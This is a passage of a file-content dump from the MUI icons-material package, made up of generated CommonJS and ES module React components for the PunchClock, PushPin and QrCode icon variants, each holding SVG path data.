    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 6h-3V1H6v5H3v16h18zM8 3h8v3H8zm4 16c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 11.5h-1v2.71l1.64 1.64.71-.71-1.35-1.35z\"\n}, \"1\")], 'PunchClockSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PunchClockTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 3h8v3H8zM5 20h14V8H5zm7-11c2.76 0 5 2.24 5 5s-2.24 5-5 5-5-2.24-5-5 2.24-5 5-5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 6h-1V1H6v5H5c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2M8 3h8v3H8zm11 17H5V8h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 19c2.76 0 5-2.24 5-5s-2.24-5-5-5-5 2.24-5 5 2.24 5 5 5m0-8.5c1.93 0 3.5 1.57 3.5 3.5s-1.57 3.5-3.5 3.5-3.5-1.57-3.5-3.5 1.57-3.5 3.5-3.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13.85 15.14-1.35-1.35V11.5h-1v2.71l1.64 1.64z\"\n}, \"3\")], 'PunchClockTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PunchClockTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 3h8v3H8zM5 20h14V8H5zm7-11c2.76 0 5 2.24 5 5s-2.24 5-5 5-5-2.24-5-5 2.24-5 5-5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 6h-1V1H6v5H5c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2M8 3h8v3H8zm11 17H5V8h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 19c2.76 0 5-2.24 5-5s-2.24-5-5-5-5 2.24-5 5 2.24 5 5 5m0-8.5c1.93 0 3.5 1.57 3.5 3.5s-1.57 3.5-3.5 3.5-3.5-1.57-3.5-3.5 1.57-3.5 3.5-3.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m13.85 15.14-1.35-1.35V11.5h-1v2.71l1.64 1.64z\"\n}, \"3\")], 'PunchClockTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PushPin.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M16 9V4h1c.55 0 1-.45 1-1s-.45-1-1-1H7c-.55 0-1 .45-1 1s.45 1 1 1h1v5c0 1.66-1.34 3-3 3v2h5.97v7l1 1 1-1v-7H19v-2c-1.66 0-3-1.34-3-3\"\n}), 'PushPin');"
  },
  {
    "path": "packages/mui-icons-material/lib/PushPin.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M16 9V4h1c.55 0 1-.45 1-1s-.45-1-1-1H7c-.55 0-1 .45-1 1s.45 1 1 1h1v5c0 1.66-1.34 3-3 3v2h5.97v7l1 1 1-1v-7H19v-2c-1.66 0-3-1.34-3-3\"\n}), 'PushPin');"
  },
  {
    "path": "packages/mui-icons-material/lib/PushPinOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 4v5c0 1.12.37 2.16 1 3H9c.65-.86 1-1.9 1-3V4zm3-2H7c-.55 0-1 .45-1 1s.45 1 1 1h1v5c0 1.66-1.34 3-3 3v2h5.97v7l1 1 1-1v-7H19v-2c-1.66 0-3-1.34-3-3V4h1c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'PushPinOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PushPinOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 4v5c0 1.12.37 2.16 1 3H9c.65-.86 1-1.9 1-3V4zm3-2H7c-.55 0-1 .45-1 1s.45 1 1 1h1v5c0 1.66-1.34 3-3 3v2h5.97v7l1 1 1-1v-7H19v-2c-1.66 0-3-1.34-3-3V4h1c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'PushPinOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PushPinRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M19 12.87c0-.47-.34-.85-.8-.98C16.93 11.54 16 10.38 16 9V4h1c.55 0 1-.45 1-1s-.45-1-1-1H7c-.55 0-1 .45-1 1s.45 1 1 1h1v5c0 1.38-.93 2.54-2.2 2.89-.46.13-.8.51-.8.98V13c0 .55.45 1 1 1h4.98l.02 7c0 .55.45 1 1 1s1-.45 1-1l-.02-7H18c.55 0 1-.45 1-1z\"\n}), 'PushPinRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PushPinRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M19 12.87c0-.47-.34-.85-.8-.98C16.93 11.54 16 10.38 16 9V4h1c.55 0 1-.45 1-1s-.45-1-1-1H7c-.55 0-1 .45-1 1s.45 1 1 1h1v5c0 1.38-.93 2.54-2.2 2.89-.46.13-.8.51-.8.98V13c0 .55.45 1 1 1h4.98l.02 7c0 .55.45 1 1 1s1-.45 1-1l-.02-7H18c.55 0 1-.45 1-1z\"\n}), 'PushPinRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PushPinSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M16 9V4h2V2H6v2h2v5c0 1.66-1.34 3-3 3v2h5.97v7l1 1 1-1v-7H19v-2c-1.66 0-3-1.34-3-3\"\n}), 'PushPinSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PushPinSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M16 9V4h2V2H6v2h2v5c0 1.66-1.34 3-3 3v2h5.97v7l1 1 1-1v-7H19v-2c-1.66 0-3-1.34-3-3\"\n}), 'PushPinSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PushPinTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 4h-4v5c0 1.1-.35 2.14-1 3h6c-.63-.84-1-1.88-1-3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 12c-1.66 0-3-1.34-3-3V4h1c.55 0 1-.45 1-1s-.45-1-1-1H7c-.55 0-1 .45-1 1s.45 1 1 1h1v5c0 1.66-1.34 3-3 3v2h5.97v7l1 1 1-1v-7H19zM9 12c.65-.86 1-1.9 1-3V4h4v5c0 1.12.37 2.16 1 3z\"\n}, \"1\")], 'PushPinTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PushPinTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 4h-4v5c0 1.1-.35 2.14-1 3h6c-.63-.84-1-1.88-1-3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 12c-1.66 0-3-1.34-3-3V4h1c.55 0 1-.45 1-1s-.45-1-1-1H7c-.55 0-1 .45-1 1s.45 1 1 1h1v5c0 1.66-1.34 3-3 3v2h5.97v7l1 1 1-1v-7H19zM9 12c.65-.86 1-1.9 1-3V4h4v5c0 1.12.37 2.16 1 3z\"\n}, \"1\")], 'PushPinTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/QrCode.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 11h8V3H3zm2-6h4v4H5zM3 21h8v-8H3zm2-6h4v4H5zm8-12v8h8V3zm6 6h-4V5h4zm0 10h2v2h-2zm-6-6h2v2h-2zm2 2h2v2h-2zm-2 2h2v2h-2zm2 2h2v2h-2zm2-2h2v2h-2zm0-4h2v2h-2zm2 2h2v2h-2z\"\n}), 'QrCode');"
  },
  {
    "path": "packages/mui-icons-material/lib/QrCode.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 11h8V3H3zm2-6h4v4H5zM3 21h8v-8H3zm2-6h4v4H5zm8-12v8h8V3zm6 6h-4V5h4zm0 10h2v2h-2zm-6-6h2v2h-2zm2 2h2v2h-2zm-2 2h2v2h-2zm2 2h2v2h-2zm2-2h2v2h-2zm0-4h2v2h-2zm2 2h2v2h-2z\"\n}), 'QrCode');"
  },
  {
    "path": "packages/mui-icons-material/lib/QrCode2.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 21h-2v-2h2zm-2-7h-2v5h2zm8-2h-2v4h2zm-2-2h-2v2h2zM7 12H5v2h2zm-2-2H3v2h2zm7-5h2V3h-2zm-7.5-.5v3h3v-3zM9 9H3V3h6zm-4.5 7.5v3h3v-3zM9 21H3v-6h6zm7.5-16.5v3h3v-3zM21 9h-6V3h6zm-2 10v-3h-4v2h2v3h4v-2zm-2-7h-4v2h4zm-4-2H7v2h2v2h2v-2h2zm1-1V7h-2V5h-2v4zM6.75 5.25h-1.5v1.5h1.5zm0 12h-1.5v1.5h1.5zm12-12h-1.5v1.5h1.5z\"\n}), 'QrCode2');"
  },
  {
    "path": "packages/mui-icons-material/lib/QrCode2.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 21h-2v-2h2zm-2-7h-2v5h2zm8-2h-2v4h2zm-2-2h-2v2h2zM7 12H5v2h2zm-2-2H3v2h2zm7-5h2V3h-2zm-7.5-.5v3h3v-3zM9 9H3V3h6zm-4.5 7.5v3h3v-3zM9 21H3v-6h6zm7.5-16.5v3h3v-3zM21 9h-6V3h6zm-2 10v-3h-4v2h2v3h4v-2zm-2-7h-4v2h4zm-4-2H7v2h2v2h2v-2h2zm1-1V7h-2V5h-2v4zM6.75 5.25h-1.5v1.5h1.5zm0 12h-1.5v1.5h1.5zm12-12h-1.5v1.5h1.5z\"\n}), 'QrCode2');"
  },
  {
    "path": "packages/mui-icons-material/lib/QrCode2Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 21h-2v-2h2zm-2-7h-2v5h2zm8-2h-2v4h2zm-2-2h-2v2h2zM7 12H5v2h2zm-2-2H3v2h2zm7-5h2V3h-2zm-7.5-.5v3h3v-3zM9 9H3V3h6zm-4.5 7.5v3h3v-3zM9 21H3v-6h6zm7.5-16.5v3h3v-3zM21 9h-6V3h6zm-2 10v-3h-4v2h2v3h4v-2zm-2-7h-4v2h4zm-4-2H7v2h2v2h2v-2h2zm1-1V7h-2V5h-2v4zM6.75 5.25h-1.5v1.5h1.5zm0 12h-1.5v1.5h1.5zm12-12h-1.5v1.5h1.5z\"\n}), 'QrCode2Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/QrCode2Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 21h-2v-2h2zm-2-7h-2v5h2zm8-2h-2v4h2zm-2-2h-2v2h2zM7 12H5v2h2zm-2-2H3v2h2zm7-5h2V3h-2zm-7.5-.5v3h3v-3zM9 9H3V3h6zm-4.5 7.5v3h3v-3zM9 21H3v-6h6zm7.5-16.5v3h3v-3zM21 9h-6V3h6zm-2 10v-3h-4v2h2v3h4v-2zm-2-7h-4v2h4zm-4-2H7v2h2v2h2v-2h2zm1-1V7h-2V5h-2v4zM6.75 5.25h-1.5v1.5h1.5zm0 12h-1.5v1.5h1.5zm12-12h-1.5v1.5h1.5z\"\n}), 'QrCode2Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/QrCode2Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 21h-2v-2h2zm-2-7h-2v5h2zm8-2h-2v4h2zm-2-2h-2v2h2zM7 12H5v2h2zm-2-2H3v2h2zm7-5h2V3h-2zm-7.5-.5v3h3v-3zM8 9H4c-.55 0-1-.45-1-1V4c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1m-3.5 7.5v3h3v-3zM8 21H4c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1m8.5-16.5v3h3v-3zM20 9h-4c-.55 0-1-.45-1-1V4c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1m-1 10v-3h-4v2h2v3h4v-2zm-2-7h-4v2h4zm-4-2H7v2h2v2h2v-2h2zm1-1V7h-2V5h-2v4zM6.75 5.25h-1.5v1.5h1.5zm0 12h-1.5v1.5h1.5zm12-12h-1.5v1.5h1.5z\"\n}), 'QrCode2Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/QrCode2Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 21h-2v-2h2zm-2-7h-2v5h2zm8-2h-2v4h2zm-2-2h-2v2h2zM7 12H5v2h2zm-2-2H3v2h2zm7-5h2V3h-2zm-7.5-.5v3h3v-3zM8 9H4c-.55 0-1-.45-1-1V4c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1m-3.5 7.5v3h3v-3zM8 21H4c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1m8.5-16.5v3h3v-3zM20 9h-4c-.55 0-1-.45-1-1V4c0-.55.45-1 1-1h4c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1m-1 10v-3h-4v2h2v3h4v-2zm-2-7h-4v2h4zm-4-2H7v2h2v2h2v-2h2zm1-1V7h-2V5h-2v4zM6.75 5.25h-1.5v1.5h1.5zm0 12h-1.5v1.5h1.5zm12-12h-1.5v1.5h1.5z\"\n}), 'QrCode2Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/QrCode2Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 21h-2v-2h2zm-2-7h-2v5h2zm8-2h-2v4h2zm-2-2h-2v2h2zM7 12H5v2h2zm-2-2H3v2h2zm7-5h2V3h-2zm-7.5-.5v3h3v-3zM9 9H3V3h6zm-4.5 7.5v3h3v-3zM9 21H3v-6h6zm7.5-16.5v3h3v-3zM21 9h-6V3h6zm-2 10v-3h-4v2h2v3h4v-2zm-2-7h-4v2h4zm-4-2H7v2h2v2h2v-2h2zm1-1V7h-2V5h-2v4zM6.75 5.25h-1.5v1.5h1.5zm0 12h-1.5v1.5h1.5zm12-12h-1.5v1.5h1.5z\"\n}), 'QrCode2Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/QrCode2Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 21h-2v-2h2zm-2-7h-2v5h2zm8-2h-2v4h2zm-2-2h-2v2h2zM7 12H5v2h2zm-2-2H3v2h2zm7-5h2V3h-2zm-7.5-.5v3h3v-3zM9 9H3V3h6zm-4.5 7.5v3h3v-3zM9 21H3v-6h6zm7.5-16.5v3h3v-3zM21 9h-6V3h6zm-2 10v-3h-4v2h2v3h4v-2zm-2-7h-4v2h4zm-4-2H7v2h2v2h2v-2h2zm1-1V7h-2V5h-2v4zM6.75 5.25h-1.5v1.5h1.5zm0 12h-1.5v1.5h1.5zm12-12h-1.5v1.5h1.5z\"\n}), 'QrCode2Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/QrCode2TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 21h-2v-2h2zm-2-7h-2v5h2zm8-2h-2v4h2zm-2-2h-2v2h2zM7 12H5v2h2zm-2-2H3v2h2zm7-5h2V3h-2zm-7.5-.5v3h3v-3zM9 9H3V3h6zm-4.5 7.5v3h3v-3zM9 21H3v-6h6zm7.5-16.5v3h3v-3zM21 9h-6V3h6zm-2 10v-3h-4v2h2v3h4v-2zm-2-7h-4v2h4zm-4-2H7v2h2v2h2v-2h2zm1-1V7h-2V5h-2v4zM6.75 5.25h-1.5v1.5h1.5zm0 12h-1.5v1.5h1.5zm12-12h-1.5v1.5h1.5z\"\n}), 'QrCode2TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/QrCode2TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 21h-2v-2h2zm-2-7h-2v5h2zm8-2h-2v4h2zm-2-2h-2v2h2zM7 12H5v2h2zm-2-2H3v2h2zm7-5h2V3h-2zm-7.5-.5v3h3v-3zM9 9H3V3h6zm-4.5 7.5v3h3v-3zM9 21H3v-6h6zm7.5-16.5v3h3v-3zM21 9h-6V3h6zm-2 10v-3h-4v2h2v3h4v-2zm-2-7h-4v2h4zm-4-2H7v2h2v2h2v-2h2zm1-1V7h-2V5h-2v4zM6.75 5.25h-1.5v1.5h1.5zm0 12h-1.5v1.5h1.5zm12-12h-1.5v1.5h1.5z\"\n}), 'QrCode2TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/QrCodeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 11h8V3H3zm2-6h4v4H5zM3 21h8v-8H3zm2-6h4v4H5zm8-12v8h8V3zm6 6h-4V5h4zm0 10h2v2h-2zm-6-6h2v2h-2zm2 2h2v2h-2zm-2 2h2v2h-2zm2 2h2v2h-2zm2-2h2v2h-2zm0-4h2v2h-2zm2 2h2v2h-2z\"\n}), 'QrCodeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/QrCodeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 11h8V3H3zm2-6h4v4H5zM3 21h8v-8H3zm2-6h4v4H5zm8-12v8h8V3zm6 6h-4V5h4zm0 10h2v2h-2zm-6-6h2v2h-2zm2 2h2v2h-2zm-2 2h2v2h-2zm2 2h2v2h-2zm2-2h2v2h-2zm0-4h2v2h-2zm2 2h2v2h-2z\"\n}), 'QrCodeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/QrCodeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 11h4c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2m0-6h4v4H5zm0 16h4c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2m0-6h4v4H5zm8-10v4c0 1.1.9 2 2 2h4c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2m6 4h-4V5h4zm2 11.5v-1c0-.28-.22-.5-.5-.5h-1c-.28 0-.5.22-.5.5v1c0 .28.22.5.5.5h1c.28 0 .5-.22.5-.5m-8-7v1c0 .28.22.5.5.5h1c.28 0 .5-.22.5-.5v-1c0-.28-.22-.5-.5-.5h-1c-.28 0-.5.22-.5.5m3.5 1.5h-1c-.28 0-.5.22-.5.5v1c0 .28.22.5.5.5h1c.28 0 .5-.22.5-.5v-1c0-.28-.22-.5-.5-.5M13 17.5v1c0 .28.22.5.5.5h1c.28 0 .5-.22.5-.5v-1c0-.28-.22-.5-.5-.5h-1c-.28 0-.5.22-.5.5m2.5 3.5h1c.28 0 .5-.22.5-.5v-1c0-.28-.22-.5-.5-.5h-1c-.28 0-.5.22-.5.5v1c0 .28.22.5.5.5m2-2h1c.28 0 .5-.22.5-.5v-1c0-.28-.22-.5-.5-.5h-1c-.28 0-.5.22-.5.5v1c0 .28.22.5.5.5m1-6h-1c-.28 0-.5.22-.5.5v1c0 .28.22.5.5.5h1c.28 0 .5-.22.5-.5v-1c0-.28-.22-.5-.5-.5m1 4h1c.28 0 .5-.22.5-.5v-1c0-.28-.22-.5-.5-.5h-1c-.28 0-.5.22-.5.5v1c0 .28.22.5.5.5\"\n}), 'QrCodeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/QrCodeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 11h4c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2m0-6h4v4H5zm0 16h4c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2m0-6h4v4H5zm8-10v4c0 1.1.9 2 2 2h4c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2h-4c-1.1 0-2 .9-2 2m6 4h-4V5h4zm2 11.5v-1c0-.28-.22-.5-.5-.5h-1c-.28 0-.5.22-.5.5v1c0 .28.22.5.5.5h1c.28 0 .5-.22.5-.5m-8-7v1c0 .28.22.5.5.5h1c.28 0 .5-.22.5-.5v-1c0-.28-.22-.5-.5-.5h-1c-.28 0-.5.22-.5.5m3.5 1.5h-1c-.28 0-.5.22-.5.5v1c0 .28.22.5.5.5h1c.28 0 .5-.22.5-.5v-1c0-.28-.22-.5-.5-.5M13 17.5v1c0 